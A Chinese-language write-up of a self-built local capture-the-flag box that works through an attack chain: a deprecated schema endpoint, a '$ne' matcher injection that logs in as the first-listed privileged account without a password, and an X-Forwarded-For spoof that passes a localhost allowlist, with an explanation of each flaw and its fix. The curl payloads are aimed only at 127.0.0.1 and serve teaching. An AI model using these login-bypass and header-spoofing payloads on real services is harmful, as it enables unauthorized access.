駭客盲盒 #002:聽雨樓夜信 — 雨門信了第一個謊 (自創靶機)
難度:Easy~Medium
序:這一盒裝了什麼
這是「駭客盲盒」系列的第二盒,也是《雲海劍宗》章回的第二章,一樣經 codex 檢查過,歡迎下載遊玩~
第一章沈小石讀到了掌門真傳,密卷背面卻在雨夜浮出一行淡墨:「若鐘止於子時,往山下聽雨樓,查我未歸之夜。」這一盒要闖的,是一間掌櫃笑容周到、眼神卻始終避開帳簿的客棧。
一樣走兩條線,解題的部分用「我們」,一步一步把路走完;設計的部分切回「我」,聊聊每個機關當初為什麼那樣擺。沒玩過的人,讀完「環境架設」就可以先關掉這篇。
一、環境架設
unzip hacker-blindbox-004-yunhai-listening-rain-inn.zip
cd yunhai-listening-rain-inn-box-004
docker compose up --build -d
跑起來後開瀏覽器:
http://127.0.0.1:8090/
今夜規矩(沿用盒內說明):
- 目標僅限本機聽雨樓。
- 不需暴力破解或大量猜測。
- 先理解正常帳頁,再追查異常。
- 所有關鍵線索皆可由玩家取得。
第三條是這盒的主線指示,不是客套話。
第一章可以直接爆目錄撿線索,這一章不行——你得先用公開帳號登入一次,看懂回應長什麼樣,才知道後面哪裡不對勁,我刻意把帳密直接印在表單的value裡,就是要玩家別把時間花在「怎麼進去」,而是花在「進去之後看到什麼」。
二、正常投宿:先看懂帳頁
首頁的投宿表單已經填好了:shen-xiaoshi / cloud-scroll-17,先照規矩登入一次。
翻 /static/ledger.js 可以看到它打哪支 API、送什麼欄位:
curl -sS http://127.0.0.1:8090/static/ledger.js -o ledger.js
grep -Ein 'fetch|body:' ledger.js
87: const response = await fetch("/api/ledger/login", {
93: body: JSON.stringify({ alias: username, seal: password }),
欄位不叫 username / password,而是 alias / seal,照這個格式打:
curl -sS -X POST http://127.0.0.1:8090/api/ledger/login \
-H 'Content-Type: application/json' \
-d '{"alias":"shen-xiaoshi","seal":"cloud-scroll-17"}' | python3 -m json.tool
{
"expires_in": 7200,
"notes": ["...", "...", "..."],
"profile": {
"alias": "shen-xiaoshi",
"display_name": "沈小石",
"role": "traveler"
},
"session": "eyJhbGciOiJIUzI1NiIsInR5cCI6IlNFU1NJT04ifQ...",
"token_type": "Bearer"
}
role: traveler,又是權限欄位,但這次跟第一章不同:密鑰沒有洩漏在任何地方,自簽那條路走不通,我們得讓伺服器主動發一張更高權限的令牌出來。
而三行 notes 就是這一章的路標:
一:你以清水拂過第一章密卷背面,淡墨浮出:『掌門未亡,藏經閣之夜另有隱情。』 二:第二行只寫著:『去查驛使舊名冊。那套批次匯入規矩,總會挑中第一個相合之人。』 三:末行被雨水暈開,只剩一句:『莫只看門前之人,要聽雨門以為誰走在最前。』
第二行是機制說明書,第三行是最後一關的伏筆,先處理第二行。
三行 notes 我寫得很克制:只講機制,不講答案。
「總會挑中第一個相合之人」告訴你系統怎麼運作,但沒告訴你要送什麼 payload;「聽雨門以為誰走在最前」點出信任的位置,但沒說那個 header 叫什麼,中間那段推理留給玩家,這是我覺得提示該有的分寸——線索的作用是把搜尋空間收窄,不是把答案送到嘴邊。
三、掌櫃碎念:欄位不只收文字
首頁側欄釘著一張紙條:
「掌櫃說舊帳簿有些欄位不只收文字;前端早已不用,規格卻沒收回。」
拆成兩句:
- 「不只收文字」 → 某個欄位除了 string,還吃別的型別
- 「前端早已不用,規格卻沒收回」 → 有個廢棄但未移除的介面還活著
而 ledger.js 裡有一行剛好呼應:
if (notes && typeof notes === "object") return JSON.stringify(notes, null, 2);
前端保留著處理 object 型別的邏輯,代表這個系統確實有非字串型別在流動。
先試試看送非字串進去會怎樣:
API=http://127.0.0.1:8090/api/ledger/login
H='Content-Type: application/json'
curl -sS -X POST $API -H "$H" -d '{"alias":"shen-xiaoshi","seal":{}}'
{"error":"unsupported_matcher"}
這個錯誤訊息是好消息,它不是「暗語錯誤」,也不是「型別錯誤」,而是「不支援的匹配器」——代表後端確實有一套 matcher 機制,只是我送的它不認得。
這時候直覺會想套 MongoDB 那套 {"$ne": null},但一樣被擋,方向對了,語法不對。
我很喜歡unsupported_matcher這個回應,它同時做兩件事:擋掉錯的 payload,又告訴你「matcher 這條路是對的」。
如果這裡回的是一句籠統的「登入失敗」,玩家會以為型別這條路死了而放棄。錯誤訊息的顆粒度是出題時很重要的旋鈕——太粗玩家迷路,太細等於直接給答案。
四、ledger.js 裡的舊註解
猜語法不如去讀規格。139 行的 JS 不長,直接整份看:
grep -vE '^\s*$' ledger.js | head -20
檔案開頭躺著這段:
// 舊版帳簿相容備註:早期客戶端會先以 GET /api/ledger/schema
// 查詢 JSON 格式的帳簿欄位規格。新版表單已固定欄位,但客棧仍保留該公開規格供舊客端使用。
「前端早已不用,規格卻沒收回」,字面上就是這個。
五、讀規格:驛使舊名冊
curl -sS http://127.0.0.1:8090/api/ledger/schema | python3 -m json.tool
{
"title": "驛使舊名冊批次匯入規格",
"endpoint": { "method": "POST", "path": "/api/ledger/login" },
"fields": {
"alias": {
"accepted": ["string", "matcher"],
"string": "與名冊 alias 精確相等",
"matcher": { "$ne": "值必須是 string;名冊值不等於該字串時即符合" }
},
"seal": { "...同上..." }
},
"legacy_rule": "批次匯入沿用舊式 matcher;名冊依原始順序查詢,first match wins。",
"selection": "兩個欄位皆符合時選取該筆;若多筆符合,回傳第一筆。"
}
規格把兩件事說得清清楚楚:
$ne的值必須是 string(所以剛才$ne: null才被擋)- first match wins,多筆符合時回傳第一筆
這兩條加起來就是完整的利用條件。
六、First match wins:撈出夜行使者
構造一個「所有人都符合」的條件——$ne 一個名冊裡不存在的字串:
curl -sS -X POST $API -H "$H" \
-d '{"alias":{"$ne":"__nobody__"},"seal":{"$ne":"__nobody__"}}' \
| python3 -m json.tool
{
"profile": {
"alias": "night-courier",
"display_name": "夜行使者",
"role": "courier"
},
"session": "eyJhbGciOiJIUzI1NiIsInR5cCI6IlNFU1NJT04ifQ..."
}
沒有密碼,直接換到 courier 身分。
重點在於:我從「提供答案」變成了「定義題目」,原本登入要我證明我知道 seal,現在我改成描述一個所有人都滿足的條件——seal 從頭到尾沒被驗證過,因為我根本沒宣稱要驗證它。
而夜行使者的 notes 直接把最後一關的規格寫死:
一:夜雨急令:最終傳令處為/internal/moon-gate/dispatch, 二:攜帶本次登入取得的 session,置於Authorization: Bearer <session>。 三:雨門守衛信任 X-Forwarded-For 中第一個逗號前的地址,且只准 127.0.0.1 通行。
為什麼是「夜行使者」而不是隨便一個人?因為 first match wins 撈到的永遠是名冊第一筆,而我把 courier 放在第一筆,正是要重現真實世界最常見的樣子——初始 seed data 裡的特權帳號永遠排在最前面。
這也是為什麼我覺得 first-match-wins 比 matcher 本身更危險,「查到多筆」在登入的語意裡本該是錯誤狀態,因為登入就是要唯一識別一個人,回傳第一筆,等於把不確定性當成了正常流程。
七、雨門信了第一個謊
先看不帶任何 header 時擋在哪:
S='<夜行使者的 session>'
D=http://127.0.0.1:8090/internal/moon-gate/dispatch
curl -sSi -H "Authorization: Bearer $S" $D
{"error":"rain_gate_denied"}
RainGate 只讀 XFF 的第一段,而 XFF 的第一段是客戶端可控的:
curl -sSi -H "Authorization: Bearer $S" \
-H 'X-Forwarded-For: 127.0.0.1, 203.0.113.9' $D
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
雨門開了。
這裡值得停一下講原理,X-Forwarded-For 本來的用途是:請求經過反向代理時,後端看到的來源 IP 會變成代理的 IP,真實使用者的 IP 就丟失了,所以代理會把它記在這個 header 裡,每經過一層就往後追加一個:
X-Forwarded-For: <真實client>, <proxy1>, <proxy2>
所以第一段「理論上」是最原始的客戶端,問題就在「理論上」——這個 header 是純文字,沒有簽章、沒有驗證。如果請求根本沒經過代理,那第一段就是使用者自己編的:
X-Forwarded-For: 127.0.0.1, 203.0.113.9
↑ 我編的 ↑ 也是我編的
正確做法是反過來讀:你信任的是自己部署的那幾層代理,所以要從 XFF 的右邊往左數,跳過已知可信的代理數量再取值,或者更乾脆,用代理自己寫入、且在入口就清掉同名輸入的 header。
八、完整攻擊鏈
公開帳號登入 (shen-xiaoshi / traveler)
│ notes:「批次匯入規矩,總會挑中第一個相合之人」
▼
ledger.js 註解 → GET /api/ledger/schema(廢棄但仍公開)
│ 規格明載:alias/seal 接受 matcher,$ne 值須為 string
│ 名冊依原始順序查詢,first match wins
▼
{"alias":{"$ne":"__nobody__"},"seal":{"$ne":"__nobody__"}}
│ → 匹配所有人 → 回傳名冊第一筆 = night-courier (role: courier)
▼
courier 的 notes 洩漏 /internal/moon-gate/dispatch + XFF 規則
│
▼
X-Forwarded-For: 127.0.0.1, 203.0.113.9
│ RainGate 只看第一個逗號前的地址
▼
🚩 flag
九、漏洞剖析:三層疊加
第一章是兩層相乘,這一章是三層。分開看,每一層的嚴重性都有限。
第一層:廢棄端點未下線
/api/ledger/schema 是舊客戶端用的規格查詢,新版前端早就不呼叫了,但路由還在,而且不需要任何驗證。
它本身不造成危害——只是一份欄位說明,但它把攻擊者原本要盲猜的東西(matcher 語法、$ne 的值型別限制、first-match-wins 行為)全部端上桌,資訊洩漏的危險程度,取決於它省下了攻擊者多少時間。
現實中同構的東西太多了:忘了關的 /swagger.json、/graphql 的 introspection、debug 用的 /actuator/env、舊版 API 的 /v1/ 路徑,功能下線了,路由沒下線。
第二層:型別混淆 + first match wins
後端期待 string,但語言允許 object,而查詢層對 object 有特殊解讀——這就是 NoSQL injection 的本質,MongoDB 的查詢本身就是 JSON 物件,如果直接把 req.body.password 塞進 findOne({password: ...}),送 {"$ne": null} 就繞過了。Express 的 body-parser 甚至會把 password[$ne]=1 這種 query string 自動解析成巢狀物件,連 JSON 都不用送。
而 first match wins 是放大器,單靠型別混淆,你只會拿到「某一個人」;加上「多筆符合時回傳第一筆」,你拿到的是建立最早的帳號——在多數系統裡,那就是 admin 或初始化匯入的特權帳號。
第三層:信任客戶端可控的 header
XFF 的問題前面講過了,這裡只補一句:這個病根的變體超多——X-Real-IP、X-Client-IP、X-Originating-IP、Forwarded、CF-Connecting-IP。繞 IP 白名單、繞 rate limiting、偽造稽核日誌的來源,全是同一回事。
我把三層疊起來,是因為這才是真實滲透測試的樣子。
單一 Critical 漏洞其實不多,大部分報告都是三四個 Low/Medium 串成一條攻擊鏈,而防守方最容易犯的錯,就是看到 P4 就關掉不修——「schema 只是說明文件」「first match wins 只是實作細節」「XFF 反正前面有 WAF」——直到有人把它們接起來。
第一章我想教的是「讀」,這一章我想教的是「串」。
結語
這一盒的每一步都寫在明面上:帳密印在表單裡、機制寫在 notes 裡、語法列在 schema 裡、信任規則甚至直接告訴你是 XFF 第一段。
沒有一個環節需要爆破,但整條鏈得自己接。
雨門之後是荒廢驛站,掌門的手書指向一座終年不點燈火的邊城,第三章「無燈城」,月圓前見。
本文為自製靶機 writeup,靶機僅供本地學習使用,請勿將文中技巧用於未經授權的目標。
Member discussion